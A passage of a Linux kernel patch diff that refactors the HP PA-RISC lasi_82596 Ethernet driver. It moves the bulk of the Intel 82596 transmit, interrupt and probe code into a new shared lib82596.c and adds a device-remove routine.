-	free_irq(dev->irq, dev);
-out:
-	return -EAGAIN;
-}
-
-static void i596_tx_timeout (struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-
-	/* Transmitter timeout, serious problems. */
-	DEB(DEB_ERRORS, printk("%s: transmit timed out, status resetting.\n",
-			dev->name));
-
-	lp->stats.tx_errors++;
-
-	/* Try to restart the adaptor */
-	if (lp->last_restart == lp->stats.tx_packets) {
-		DEB(DEB_ERRORS, printk("Resetting board.\n"));
-		/* Shutdown and restart */
-		i596_reset (dev, lp);
-	} else {
-		/* Issue a channel attention signal */
-		DEB(DEB_ERRORS, printk("Kicking board.\n"));
-		lp->scb.command = CUC_START | RX_START;
-		CHECK_WBACK_INV(lp, &(lp->scb), sizeof(struct i596_scb));
-		CA (dev);
-		lp->last_restart = lp->stats.tx_packets;
-	}
-
-	dev->trans_start = jiffies;
-	netif_wake_queue (dev);
-}
-
-
-static int i596_start_xmit(struct sk_buff *skb, struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-	struct tx_cmd *tx_cmd;
-	struct i596_tbd *tbd;
-	short length = skb->len;
-	dev->trans_start = jiffies;
-
-	DEB(DEB_STARTTX, printk("%s: i596_start_xmit(%x,%p) called\n", dev->name,
-				skb->len, skb->data));
-
-	if (length < ETH_ZLEN) {
-		if (skb_padto(skb, ETH_ZLEN))
-			return 0;
-		length = ETH_ZLEN;
-	}
-
-	netif_stop_queue(dev);
-
-	tx_cmd = lp->tx_cmds + lp->next_tx_cmd;
-	tbd = lp->tbds + lp->next_tx_cmd;
-
-	if (tx_cmd->cmd.command) {
-		DEB(DEB_ERRORS, printk("%s: xmit ring full, dropping packet.\n",
-				dev->name));
-		lp->stats.tx_dropped++;
-
-		dev_kfree_skb(skb);
-	} else {
-		if (++lp->next_tx_cmd == TX_RING_SIZE)
-			lp->next_tx_cmd = 0;
-		tx_cmd->tbd = WSWAPtbd(virt_to_dma(lp,tbd));
-		tbd->next = I596_NULL;
-
-		tx_cmd->cmd.command = CMD_FLEX | CmdTx;
-		tx_cmd->skb = skb;
-
-		tx_cmd->pad = 0;
-		tx_cmd->size = 0;
-		tbd->pad = 0;
-		tbd->size = EOF | length;
-
-		tx_cmd->dma_addr = dma_map_single(lp->dev, skb->data, skb->len,
-				DMA_TO_DEVICE);
-		tbd->data = WSWAPchar(tx_cmd->dma_addr);
-
-		DEB(DEB_TXADDR,print_eth(skb->data, "tx-queued"));
-		CHECK_WBACK_INV(lp, tx_cmd, sizeof(struct tx_cmd));
-		CHECK_WBACK_INV(lp, tbd, sizeof(struct i596_tbd));
-		i596_add_cmd(dev, &tx_cmd->cmd);
-
-		lp->stats.tx_packets++;
-		lp->stats.tx_bytes += length;
-	}
-
-	netif_start_queue(dev);
-
-	return 0;
-}
-
-static void print_eth(unsigned char *add, char *str)
-{
-	int i;
-
-	printk("i596 0x%p, ", add);
-	for (i = 0; i < 6; i++)
-		printk(" %02X", add[i + 6]);
-	printk(" -->");
-	for (i = 0; i < 6; i++)
-		printk(" %02X", add[i]);
-	printk(" %02X%02X, %s\n", add[12], add[13], str);
-}
-
-
 #define LAN_PROM_ADDR	0xF0810000
 
-static int __devinit i82596_probe(struct net_device *dev,
-				  struct device *gen_dev)
-{
-	int i;
-	struct i596_private *lp;
-	char eth_addr[6];
-	dma_addr_t dma_addr;
-
-	/* This lot is ensure things have been cache line aligned. */
-	BUILD_BUG_ON(sizeof(struct i596_rfd) != 32);
-	BUILD_BUG_ON(sizeof(struct i596_rbd) &  31);
-	BUILD_BUG_ON(sizeof(struct tx_cmd)   &  31);
-	BUILD_BUG_ON(sizeof(struct i596_tbd) != 32);
-#ifndef __LP64__
-	BUILD_BUG_ON(sizeof(struct i596_private) > 4096);
-#endif
-
-	if (!dev->base_addr || !dev->irq)
-		return -ENODEV;
-
-	if (pdc_lan_station_id(eth_addr, dev->base_addr)) {
-		for (i=0; i < 6; i++) {
-			eth_addr[i] = gsc_readb(LAN_PROM_ADDR + i);
-		}
-		printk(KERN_INFO "%s: MAC of HP700 LAN read from EEPROM\n", __FILE__);
-	}
-
-	dev->mem_start = (unsigned long) dma_alloc_noncoherent(gen_dev,
-		sizeof(struct i596_private), &dma_addr, GFP_KERNEL);
-	if (!dev->mem_start) {
-		printk(KERN_ERR "%s: Couldn't get shared memory\n", __FILE__);
-		return -ENOMEM;
-	}
-
-	for (i = 0; i < 6; i++)
-		dev->dev_addr[i] = eth_addr[i];
-
-	/* The 82596-specific entries in the device structure. */
-	dev->open = i596_open;
-	dev->stop = i596_close;
-	dev->hard_start_xmit = i596_start_xmit;
-	dev->get_stats = i596_get_stats;
-	dev->set_multicast_list = set_multicast_list;
-	dev->tx_timeout = i596_tx_timeout;
-	dev->watchdog_timeo = TX_TIMEOUT;
-#ifdef CONFIG_NET_POLL_CONTROLLER
-	dev->poll_controller = i596_poll_controller;
-#endif
-
-	dev->priv = (void *)(dev->mem_start);
-
-	lp = dev->priv;
-	memset(lp, 0, sizeof(struct i596_private));
-
-	lp->scb.command = 0;
-	lp->scb.cmd = I596_NULL;
-	lp->scb.rfd = I596_NULL;
-	spin_lock_init(&lp->lock);
-	lp->dma_addr = dma_addr;
-	lp->dev = gen_dev;
-
-	CHECK_WBACK_INV(lp, dev->mem_start, sizeof(struct i596_private));
-
-	i = register_netdev(dev);
-	if (i) {
-		lp = dev->priv;
-		dma_free_noncoherent(lp->dev, sizeof(struct i596_private),
-				    (void *)dev->mem_start, lp->dma_addr);
-		return i;
-	};
-
-	DEB(DEB_PROBE, printk(KERN_INFO "%s: 82596 at %#3lx,", dev->name, dev->base_addr));
-	for (i = 0; i < 6; i++)
-		DEB(DEB_PROBE, printk(" %2.2X", dev->dev_addr[i]));
-	DEB(DEB_PROBE, printk(" IRQ %d.\n", dev->irq));
-	DEB(DEB_INIT, printk(KERN_INFO "%s: lp at 0x%p (%d bytes), lp->scb at 0x%p\n",
-		dev->name, lp, (int)sizeof(struct i596_private), &lp->scb));
-
-	return 0;
-}
-
-#ifdef CONFIG_NET_POLL_CONTROLLER
-static void i596_poll_controller(struct net_device *dev)
-{
-	disable_irq(dev->irq);
-	i596_interrupt(dev->irq, dev);
-	enable_irq(dev->irq);
-}
-#endif
-
-static irqreturn_t i596_interrupt(int irq, void *dev_id)
-{
-	struct net_device *dev = dev_id;
-	struct i596_private *lp;
-	unsigned short status, ack_cmd = 0;
-
-	if (dev == NULL) {
-		printk("%s: irq %d for unknown device.\n", __FUNCTION__, irq);
-		return IRQ_NONE;
-	}
-
-	lp = dev->priv;
-
-	spin_lock (&lp->lock);
-
-	wait_cmd(dev, lp, 100, "i596 interrupt, timeout");
-	status = lp->scb.status;
-
-	DEB(DEB_INTS, printk("%s: i596 interrupt, IRQ %d, status %4.4x.\n",
-			dev->name, irq, status));
-
-	ack_cmd = status & 0xf000;
-
-	if (!ack_cmd) {
-		DEB(DEB_ERRORS, printk("%s: interrupt with no events\n", dev->name));
-		spin_unlock (&lp->lock);
-		return IRQ_NONE;
-	}
-
-	if ((status & 0x8000) || (status & 0x2000)) {
-		struct i596_cmd *ptr;
-
-		if ((status & 0x8000))
-			DEB(DEB_INTS, printk("%s: i596 interrupt completed command.\n", dev->name));
-		if ((status & 0x2000))
-			DEB(DEB_INTS, printk("%s: i596 interrupt command unit inactive %x.\n", dev->name, status & 0x0700));
-
-		while (lp->cmd_head != NULL) {
-			CHECK_INV(lp, lp->cmd_head, sizeof(struct i596_cmd));
-			if (!(lp->cmd_head->status & STAT_C))
-				break;
-
-			ptr = lp->cmd_head;
-
-			DEB(DEB_STATUS, printk("cmd_head->status = %04x, ->command = %04x\n",
-				       lp->cmd_head->status, lp->cmd_head->command));
-			lp->cmd_head = ptr->v_next;
-			lp->cmd_backlog--;
-
-			switch ((ptr->command) & 0x7) {
-			case CmdTx:
-			    {
-				struct tx_cmd *tx_cmd = (struct tx_cmd *) ptr;
-				struct sk_buff *skb = tx_cmd->skb;
-
-				if ((ptr->status) & STAT_OK) {
-					DEB(DEB_TXADDR, print_eth(skb->data, "tx-done"));
-				} else {
-					lp->stats.tx_errors++;
-					if ((ptr->status) & 0x0020)
-						lp->stats.collisions++;
-					if (!((ptr->status) & 0x0040))
-						lp->stats.tx_heartbeat_errors++;
-					if ((ptr->status) & 0x0400)
-						lp->stats.tx_carrier_errors++;
-					if ((ptr->status) & 0x0800)
-						lp->stats.collisions++;
-					if ((ptr->status) & 0x1000)
-						lp->stats.tx_aborted_errors++;
-				}
-				dma_unmap_single(lp->dev, tx_cmd->dma_addr, skb->len, DMA_TO_DEVICE);
-				dev_kfree_skb_irq(skb);
-
-				tx_cmd->cmd.command = 0; /* Mark free */
-				break;
-			    }
-			case CmdTDR:
-			    {
-				unsigned short status = ((struct tdr_cmd *)ptr)->status;
-
-				if (status & 0x8000) {
-					DEB(DEB_ANY, printk("%s: link ok.\n", dev->name));
-				} else {
-					if (status & 0x4000)
-						printk("%s: Transceiver problem.\n", dev->name);
-					if (status & 0x2000)
-						printk("%s: Termination problem.\n", dev->name);
-					if (status & 0x1000)
-						printk("%s: Short circuit.\n", dev->name);
-
-					DEB(DEB_TDR, printk("%s: Time %d.\n", dev->name, status & 0x07ff));
-				}
-				break;
-			    }
-			case CmdConfigure:
-				/* Zap command so set_multicast_list() knows it is free */
-				ptr->command = 0;
-				break;
-			}
-			ptr->v_next = NULL;
-		        ptr->b_next = I596_NULL;
-			CHECK_WBACK(lp, ptr, sizeof(struct i596_cmd));
-			lp->last_cmd = jiffies;
-		}
-
-		/* This mess is arranging that only the last of any outstanding
-		 * commands has the interrupt bit set.  Should probably really
-		 * only add to the cmd queue when the CU is stopped.
-		 */
-		ptr = lp->cmd_head;
-		while ((ptr != NULL) && (ptr != lp->cmd_tail)) {
-			struct i596_cmd *prev = ptr;
-
-			ptr->command &= 0x1fff;
-			ptr = ptr->v_next;
-			CHECK_WBACK_INV(lp, prev, sizeof(struct i596_cmd));
-		}
-
-		if ((lp->cmd_head != NULL))
-			ack_cmd |= CUC_START;
-		lp->scb.cmd = WSWAPcmd(virt_to_dma(lp,&lp->cmd_head->status));
-		CHECK_WBACK_INV(lp, &lp->scb, sizeof(struct i596_scb));
-	}
-	if ((status & 0x1000) || (status & 0x4000)) {
-		if ((status & 0x4000))
-			DEB(DEB_INTS, printk("%s: i596 interrupt received a frame.\n", dev->name));
-		i596_rx(dev);
-		/* Only RX_START if stopped - RGH 07-07-96 */
-		if (status & 0x1000) {
-			if (netif_running(dev)) {
-				DEB(DEB_ERRORS, printk("%s: i596 interrupt receive unit inactive, status 0x%x\n", dev->name, status));
-				ack_cmd |= RX_START;
-				lp->stats.rx_errors++;
-				lp->stats.rx_fifo_errors++;
-				rebuild_rx_bufs(dev);
-			}
-		}
-	}
-	wait_cmd(dev, lp, 100, "i596 interrupt, timeout");
-	lp->scb.command = ack_cmd;
-	CHECK_WBACK(lp, &lp->scb, sizeof(struct i596_scb));
-
-	/* DANGER: I suspect that some kind of interrupt
-	 acknowledgement aside from acking the 82596 might be needed
-	 here...  but it's running acceptably without */
-
-	CA(dev);
-
-	wait_cmd(dev, lp, 100, "i596 interrupt, exit timeout");
-	DEB(DEB_INTS, printk("%s: exiting interrupt.\n", dev->name));
-
-	spin_unlock (&lp->lock);
-	return IRQ_HANDLED;
-}
-
-static int i596_close(struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-	unsigned long flags;
-
-	netif_stop_queue(dev);
-
-	DEB(DEB_INIT, printk("%s: Shutting down ethercard, status was %4.4x.\n",
-		       dev->name, lp->scb.status));
-
-	spin_lock_irqsave(&lp->lock, flags);
-
-	wait_cmd(dev, lp, 100, "close1 timed out");
-	lp->scb.command = CUC_ABORT | RX_ABORT;
-	CHECK_WBACK(lp, &lp->scb, sizeof(struct i596_scb));
-
-	CA(dev);
-
-	wait_cmd(dev, lp, 100, "close2 timed out");
-	spin_unlock_irqrestore(&lp->lock, flags);
-	DEB(DEB_STRUCT,i596_display_data(dev));
-	i596_cleanup_cmd(dev,lp);
-
-	disable_irq(dev->irq);
-
-	free_irq(dev->irq, dev);
-	remove_rx_bufs(dev);
-
-	return 0;
-}
-
-static struct net_device_stats *
- i596_get_stats(struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-
-	return &lp->stats;
-}
-
-/*
- *    Set or clear the multicast filter for this adaptor.
- */
-
-static void set_multicast_list(struct net_device *dev)
-{
-	struct i596_private *lp = dev->priv;
-	int config = 0, cnt;
-
-	DEB(DEB_MULTI, printk("%s: set multicast list, %d entries, promisc %s, allmulti %s\n",
-		dev->name, dev->mc_count, dev->flags & IFF_PROMISC ? "ON" : "OFF",
-		dev->flags & IFF_ALLMULTI ? "ON" : "OFF"));
-
-	if ((dev->flags & IFF_PROMISC) && !(lp->cf_cmd.i596_config[8] & 0x01)) {
-		lp->cf_cmd.i596_config[8] |= 0x01;
-		config = 1;
-	}
-	if (!(dev->flags & IFF_PROMISC) && (lp->cf_cmd.i596_config[8] & 0x01)) {
-		lp->cf_cmd.i596_config[8] &= ~0x01;
-		config = 1;
-	}
-	if ((dev->flags & IFF_ALLMULTI) && (lp->cf_cmd.i596_config[11] & 0x20)) {
-		lp->cf_cmd.i596_config[11] &= ~0x20;
-		config = 1;
-	}
-	if (!(dev->flags & IFF_ALLMULTI) && !(lp->cf_cmd.i596_config[11] & 0x20)) {
-		lp->cf_cmd.i596_config[11] |= 0x20;
-		config = 1;
-	}
-	if (config) {
-		if (lp->cf_cmd.cmd.command)
-			printk("%s: config change request already queued\n",
-			       dev->name);
-		else {
-			lp->cf_cmd.cmd.command = CmdConfigure;
-			CHECK_WBACK_INV(lp, &lp->cf_cmd, sizeof(struct cf_cmd));
-			i596_add_cmd(dev, &lp->cf_cmd.cmd);
-		}
-	}
-
-	cnt = dev->mc_count;
-	if (cnt > MAX_MC_CNT)
-	{
-		cnt = MAX_MC_CNT;
-		printk("%s: Only %d multicast addresses supported",
-			dev->name, cnt);
-	}
-
-	if (dev->mc_count > 0) {
-		struct dev_mc_list *dmi;
-		unsigned char *cp;
-		struct mc_cmd *cmd;
-
-		cmd = &lp->mc_cmd;
-		cmd->cmd.command = CmdMulticastList;
-		cmd->mc_cnt = dev->mc_count * 6;
-		cp = cmd->mc_addrs;
-		for (dmi = dev->mc_list; cnt && dmi != NULL; dmi = dmi->next, cnt--, cp += 6) {
-			memcpy(cp, dmi->dmi_addr, 6);
-			if (i596_debug > 1)
-				DEB(DEB_MULTI, printk("%s: Adding address %02x:%02x:%02x:%02x:%02x:%02x\n",
-						dev->name, cp[0],cp[1],cp[2],cp[3],cp[4],cp[5]));
-		}
-		CHECK_WBACK_INV(lp, &lp->mc_cmd, sizeof(struct mc_cmd));
-		i596_add_cmd(dev, &cmd->cmd);
-	}
-}
-
-static int debug = -1;
-module_param(debug, int, 0);
-MODULE_PARM_DESC(debug, "lasi_82596 debug mask");
-
-static int num_drivers;
-static struct net_device *netdevs[MAX_DRIVERS];
-
 static int __devinit
 lan_init_chip(struct parisc_device *dev)
 {
 	struct	net_device *netdevice;
 	int	retval;
+	static int init = 0;
+	int i;
 
-	if (num_drivers >= MAX_DRIVERS) {
-		/* max count of possible i82596 drivers reached */
-		return -ENOMEM;
-	}
-
-	if (num_drivers == 0)
+	if (init == 0) {
 		printk(KERN_INFO LASI_82596_DRIVER_VERSION "\n");
+		init++;
+	}
 
 	if (!dev->irq) {
 		printk(KERN_ERR "%s: IRQ not found for i82596 at 0x%lx\n",
@@ -1532,25 +180,39 @@ lan_init_chip(struct parisc_device *dev)
 	netdevice = alloc_etherdev(0);
 	if (!netdevice)
 		return -ENOMEM;
+	parisc_set_drvdata (dev, netdevice);
 
 	netdevice->base_addr = dev->hpa.start;
 	netdevice->irq = dev->irq;
 
-	retval = i82596_probe(netdevice, &dev->dev);
+	if (pdc_lan_station_id(netdevice->dev_addr, netdevice->base_addr)) {
+		for (i=0; i < 6; i++) {
+			netdevice->dev_addr[i] = gsc_readb(LAN_PROM_ADDR + i);
+		}
+		printk(KERN_INFO "%s: MAC of HP700 LAN read from EEPROM\n", __FILE__);
+	}
+
+
+	retval = i82596_probe(netdevice, &dev->dev, NULL, 
+			      dev->id.sversion == 0x72 ? OPT_SWAP_PORT : 0);
 	if (retval) {
 		free_netdev(netdevice);
 		return -ENODEV;
 	}
-
-	if (dev->id.sversion == 0x72) {
-		((struct i596_private *)netdevice->priv)->options = OPT_SWAP_PORT;
-	}
-
-	netdevs[num_drivers++] = netdevice;
-
 	return retval;
 }
 
+static int __devexit lan_remove_chip (struct parisc_device *pdev)
+{
+        struct net_device *dev = parisc_get_drvdata(pdev);
+        struct i596_private *lp = dev->priv;
+
+        unregister_netdev (dev);
+        dma_free_noncoherent(lp->dev, sizeof(struct i596_private),
+                             (void *)dev->mem_start, lp->dma_addr);
+        free_netdev (dev);
+        return 0;
+}
 
 static struct parisc_device_id lan_tbl[] = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008a },
@@ -1564,12 +226,11 @@ static struct parisc_driver lan_driver = {
 	.name		= "lasi_82596",
 	.id_table	= lan_tbl,
 	.probe		= lan_init_chip,
+	.remove         = __devexit_p(lan_remove_chip),
 };
 
 static int __devinit lasi_82596_init(void)
 {
-	if (debug >= 0)
-		i596_debug = debug;
 	return register_parisc_driver(&lan_driver);
 }
 
@@ -1577,25 +238,6 @@ module_init(lasi_82596_init);
 
 static void __exit lasi_82596_exit(void)
 {
-	int i;
-
-	for (i=0; i<MAX_DRIVERS; i++) {
-		struct i596_private *lp;
-		struct net_device *netdevice;
-
-		netdevice = netdevs[i];
-		if (!netdevice)
-			continue;
-
-		unregister_netdev(netdevice);
-
-		lp = netdevice->priv;
-		dma_free_noncoherent(lp->dev, sizeof(struct i596_private),
-				       (void *)netdevice->mem_start, lp->dma_addr);
-		free_netdev(netdevice);
-	}
-	num_drivers = 0;
-
 	unregister_parisc_driver(&lan_driver);
 }
 
diff --git a/drivers/net/lib82596.c b/drivers/net/lib82596.c
new file mode 100644
index 0000000..9be117d
--- /dev/null
+++ b/drivers/net/lib82596.c
@@ -0,0 +1,1353 @@
+/* lasi_82596.c -- driver for the intel 82596 ethernet controller, as
+   munged into HPPA boxen .
+
+   This driver is based upon 82596.c, original credits are below...
+   but there were too many hoops which HP wants jumped through to
+   keep this code in there in a sane manner.
+
+   3 primary sources of the mess -- 
+   1) hppa needs *lots* of cacheline flushing to keep this kind of
+   MMIO running.
+
+   2) The 82596 needs to see all of its pointers as their physical
+   address.  Thus virt_to_bus/bus_to_virt are *everywhere*.
+
+   3) The implementation HP is using seems to be significantly pickier 
+   about when and how the command and RX units are started.  some
+   command ordering was changed.
+
+   Examination of the mach driver leads one to believe that there
+   might be a saner way to pull this off...  anyone who feels like a
+   full rewrite can be my guest.
+
+   Split 02/13/2000 Sam Creasey (sammy@oh.verio.com)
+   
+   02/01/2000  Initial modifications for parisc by Helge Deller (deller@gmx.de)
+   03/02/2000  changes for better/correct(?) cache-flushing (deller)
+*/
+
+/* 82596.c: A generic 82596 ethernet driver for linux. */
+/*
+   Based on Apricot.c
+   Written 1994 by Mark Evans.
+   This driver is for the Apricot 82596 bus-master interface
+
+   Modularised 12/94 Mark Evans
+
+
+   Modified to support the 82596 ethernet chips on 680x0 VME boards.
+   by Richard Hirst <richard@sleepie.demon.co.uk>
+   Renamed to be 82596.c
+
+   980825:  Changed to receive directly in to sk_buffs which are
+   allocated at open() time.  Eliminates copy on incoming frames
+   (small ones are still copied).  Shared data now held in a
+   non-cached page, so we can run on 68060 in copyback mode.
+
+   TBD:
+   * look at deferring rx frames rather than discarding (as per tulip)
+   * handle tx ring full as per tulip
+   * performace test to tune rx_copybreak
+
+   Most of my modifications relate to the braindead big-endian
+   implementation by Intel.  When the i596 is operating in
+   'big-endian' mode, it thinks a 32 bit value of 0x12345678
+   should be stored as 0x56781234.  This is a real pain, when
+   you have linked lists which are shared by the 680x0 and the
+   i596.
+
+   Driver skeleton
+   Written 1993 by Donald Becker.
+   Copyright 1993 United States Government as represented by the Director,
+   National Security Agency. This software may only be used and distributed
+   according to the terms of the GNU General Public License as modified by SRC,
+   incorporated herein by reference.
+
+   The author may be reached as becker@scyld.com, or C/O
+   Scyld Computing Corporation, 410 Severn Ave., Suite 210, Annapolis MD 21403
+
+ */
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/string.h>
+#include <linux/ptrace.h>
+#include <linux/errno.h>
+#include <linux/ioport.h>
+#include <linux/slab.h>
+#include <linux/interrupt.h>
+#include <linux/delay.h>
+#include <linux/netdevice.h>
+#include <linux/etherdevice.h>
+#include <linux/skbuff.h>
+#include <linux/init.h>
+#include <linux/pci.h>
+#include <linux/types.h>
+#include <linux/bitops.h>
+#include <linux/platform_device.h>
+#include <linux/dma-mapping.h>
+
+#include <asm/io.h>
+#include <asm/pgtable.h>
+#include <asm/irq.h>
+#include <asm/cache.h>
+
+/* DEBUG flags
+ */
+
+#define DEB_INIT	0x0001
+#define DEB_PROBE	0x0002
+#define DEB_SERIOUS	0x0004
+#define DEB_ERRORS	0x0008
+#define DEB_MULTI	0x0010
+#define DEB_TDR		0x0020
+#define DEB_OPEN	0x0040
+#define DEB_RESET	0x0080
+#define DEB_ADDCMD	0x0100
+#define DEB_STATUS	0x0200
+#define DEB_STARTTX	0x0400
+#define DEB_RXADDR	0x0800
+#define DEB_TXADDR	0x1000
+#define DEB_RXFRAME	0x2000
+#define DEB_INTS	0x4000
+#define DEB_STRUCT	0x8000
+#define DEB_ANY		0xffff
+
+
+#define DEB(x,y)	if (i596_debug & (x)) { y; }
+
+#define ISCP_BUSY	0x0001
+
+/*
+ * The MPU_PORT command allows direct access to the 82596. With PORT access
+ * the following commands are available (p5-18). The 32-bit port command
+ * must be word-swapped with the most significant word written first.
+ * This only applies to VME boards.
+ */
+#define PORT_RESET		0x00	/* reset 82596 */
+#define PORT_SELFTEST		0x01	/* selftest */
+#define PORT_ALTSCP		0x02	/* alternate SCB address */
+#define PORT_ALTDUMP		0x03	/* Alternate DUMP address */
+
+static int i596_debug = (DEB_SERIOUS|DEB_PROBE);
+
+/* Copy frames shorter than rx_copybreak, otherwise pass on up in
+ * a full sized sk_buff.  Value of 100 stolen from tulip.c (!alpha).
+ */
+static int rx_copybreak = 100;
+
+#define PKT_BUF_SZ	1536
+#define MAX_MC_CNT	64
+
+#define I596_NULL ((u32)0xffffffff)
+
+#define CMD_EOL		0x8000	/* The last command of the list, stop. */
+#define CMD_SUSP	0x4000	/* Suspend after doing cmd. */
+#define CMD_INTR	0x2000	/* Interrupt after doing cmd. */
+
+#define CMD_FLEX	0x0008	/* Enable flexible memory model */
+
+enum commands {
+	CmdNOp = 0, CmdSASetup = 1, CmdConfigure = 2, CmdMulticastList = 3,
+	CmdTx = 4, CmdTDR = 5, CmdDump = 6, CmdDiagnose = 7
+};
+
+#define STAT_C		0x8000	/* Set to 0 after execution */
+#define STAT_B		0x4000	/* Command being executed */
+#define STAT_OK		0x2000	/* Command executed ok */
+#define STAT_A		0x1000	/* Command aborted */
+
+#define	 CUC_START	0x0100
+#define	 CUC_RESUME	0x0200
+#define	 CUC_SUSPEND    0x0300
+#define	 CUC_ABORT	0x0400
+#define	 RX_START	0x0010
+#define	 RX_RESUME	0x0020
+#define	 RX_SUSPEND	0x0030
+#define	 RX_ABORT	0x0040
+
+#define TX_TIMEOUT	5
+
+
+struct i596_reg {
+	unsigned short porthi;
+	unsigned short portlo;
+	u32            ca;
+};
+
+#define EOF		0x8000
+#define SIZE_MASK	0x3fff
+
+struct i596_tbd {
+	unsigned short size;
+	unsigned short pad;
+	dma_addr_t     next;
+	dma_addr_t     data;
+	u32 cache_pad[5];		/* Total 32 bytes... */
+};
+
+/* The command structure has two 'next' pointers; v_next is the address of
+ * the next command as seen by the CPU, b_next is the address of the next
+ * command as seen by the 82596.  The b_next pointer, as used by the 82596
+ * always references the status field of the next command, rather than the
+ * v_next field, because the 82596 is unaware of v_next.  It may seem more
+ * logical to put v_next at the end of the structure, but we cannot do that
+ * because the 82596 expects other fields to be there, depending on command
+ * type.
+ */
+
+struct i596_cmd {
+	struct i596_cmd *v_next;	/* Address from CPUs viewpoint */
+	unsigned short status;
+	unsigned short command;
+	dma_addr_t     b_next;	/* Address from i596 viewpoint */
+};
+
+struct tx_cmd {
+	struct i596_cmd cmd;
+	dma_addr_t     tbd;
+	unsigned short size;
+	unsigned short pad;
+	struct sk_buff *skb;		/* So we can free it after tx */
+	dma_addr_t dma_addr;
+#ifdef __LP64__
+	u32 cache_pad[6];		/* Total 64 bytes... */
+#else    
+	u32 cache_pad[1];		/* Total 32 bytes... */
+#endif    
+};
+
+struct tdr_cmd {
+	struct i596_cmd cmd;
+	unsigned short pad;
+	unsigned short status;   // FIXME u32, swap
+};
+
+struct mc_cmd {
+	struct i596_cmd cmd;
+	short mc_cnt;
+	char mc_addrs[MAX_MC_CNT*6];
+};
+
+struct sa_cmd {
+	struct i596_cmd cmd;
+	char eth_addr[8];
+};
+
+struct cf_cmd {
+	struct i596_cmd cmd;
+	char i596_config[16];
+};
+
+struct i596_rfd {
+	unsigned short stat;
+	unsigned short cmd;
+	dma_addr_t     b_next;	/* Address from i596 viewpoint */
+	dma_addr_t     rbd;
+	unsigned short count;
+	unsigned short size;
+	struct i596_rfd *v_next;	/* Address from CPUs viewpoint */
+	struct i596_rfd *v_prev;
+#ifndef __LP64__    
+	u32 cache_pad[2];		/* Total 32 bytes... */
+#endif    
+};
+
+struct i596_rbd {
+    /* hardware data */
+    unsigned short count;
+    unsigned short zero1;
+    dma_addr_t     b_next;
+    dma_addr_t     b_data;		/* Address from i596 viewpoint */
+    unsigned short size;
+    unsigned short zero2;
+    /* driver data */
+    struct sk_buff *skb;
+    struct i596_rbd *v_next;
+    dma_addr_t     b_addr;		/* This rbd addr from i596 view */
+    unsigned char *v_data;		/* Address from CPUs viewpoint */
+					/* Total 32 bytes... */
+#ifdef __LP64__
+    u32 cache_pad[4];
+#endif    
+};
+
+/* These values as chosen so struct i596_private fits in one page... */
+
+#define TX_RING_SIZE 32
+#define RX_RING_SIZE 16
+
+struct i596_scb {
+	unsigned short status;
+	unsigned short command;
+	dma_addr_t    cmd;
+	dma_addr_t    rfd;
+	u32           crc_err;
+	u32           align_err;
+	u32           resource_err;
+	u32           over_err;
+	u32           rcvdt_err;
+	u32           short_err;
+	unsigned short t_off;
+	unsigned short t_on;
+};
+
+struct i596_iscp {
+	u32           stat;
+	dma_addr_t    scb;
+};
+
+struct i596_scp {
+	u32           sysbus;
+	u32            pad;
+	dma_addr_t    iscp;
+};
+
+struct i596_private {
+	volatile struct i596_scp scp		__attribute__((aligned(32)));
+	volatile struct i596_iscp iscp		__attribute__((aligned(32)));
+	volatile struct i596_scb scb		__attribute__((aligned(32)));
+	struct sa_cmd sa_cmd			__attribute__((aligned(32)));
+	struct cf_cmd cf_cmd			__attribute__((aligned(32)));
+	struct tdr_cmd tdr_cmd			__attribute__((aligned(32)));
+	struct mc_cmd mc_cmd			__attribute__((aligned(32)));
+	struct i596_rfd rfds[RX_RING_SIZE]	__attribute__((aligned(32)));
+	struct i596_rbd rbds[RX_RING_SIZE]	__attribute__((aligned(32)));
+	struct tx_cmd tx_cmds[TX_RING_SIZE]	__attribute__((aligned(32)));
+	struct i596_tbd tbds[TX_RING_SIZE]	__attribute__((aligned(32)));
+	u32    stat;
+	int last_restart;
+	struct i596_rfd *rfd_head;
+	struct i596_rbd *rbd_head;
+	struct i596_cmd *cmd_tail;
+	struct i596_cmd *cmd_head;
+	int cmd_backlog;
+	u32    last_cmd;
+	struct net_device_stats stats;
+	int next_tx_cmd;
+	int options;
+	spinlock_t lock;
+	dma_addr_t dma_addr;
+	struct device *dev;
+	volatile u32 *ca;
+};
+
+static const char init_setup[] =
+{
+	0x8E,			/* length, prefetch on */
+	0xC8,			/* fifo to 8, monitor off */
+	0x80,			/* don't save bad frames */
+	0x2E,			/* No source address insertion, 8 byte preamble */
+	0x00,			/* priority and backoff defaults */
+	0x60,			/* interframe spacing */
+	0x00,			/* slot time LSB */
+	0xf2,			/* slot time and retries */
+	0x00,			/* promiscuous mode */
+	0x00,			/* collision detect */
+	0x40,			/* minimum frame length */
+	0xff,
+	0x00,
+	0x7f /*  *multi IA */ };
+
+static int i596_open(struct net_device *dev);
+static int i596_start_xmit(struct sk_buff *skb, struct net_device *dev);
+static irqreturn_t i596_interrupt(int irq, void *dev_id);
+static int i596_close(struct net_device *dev);
+static struct net_device_stats *i596_get_stats(struct net_device *dev);
+static void i596_add_cmd(struct net_device *dev, struct i596_cmd *cmd);
+static void i596_tx_timeout (struct net_device *dev);
+static void print_eth(unsigned char *buf, char *str);
+static void set_multicast_list(struct net_device *dev);
+
+static int rx_ring_size = RX_RING_SIZE;
+static int ticks_limit = 100;
+static int max_cmd_backlog = TX_RING_SIZE-1;
+
+#ifdef CONFIG_NET_POLL_CONTROLLER
+static void i596_poll_controller(struct net_device *dev);
+#endif
+
+
+static inline int wait_istat(struct net_device *dev, struct i596_private *lp, int delcnt, char *str)
+{
+	CHECK_INV(lp, &(lp->iscp), sizeof(struct i596_iscp));
+	while (--delcnt && lp->iscp.stat) {
+		udelay(10);
+		CHECK_INV(lp, &(lp->iscp), sizeof(struct i596_iscp));
+	}
+	if (!delcnt) {
+		printk("%s: %s, iscp.stat %04x, didn't clear\n",
+		     dev->name, str, lp->iscp.stat);
+		return -1;
+	}
+	else
+		return 0;
+}
+
+
+static inline int wait_cmd(struct net_device *dev, struct i596_private *lp, int delcnt, char *str)
+{
+	CHECK_INV(lp, &(lp->scb), sizeof(struct i596_scb));
+	while (--delcnt && lp->scb.command) {
+		udelay(10);
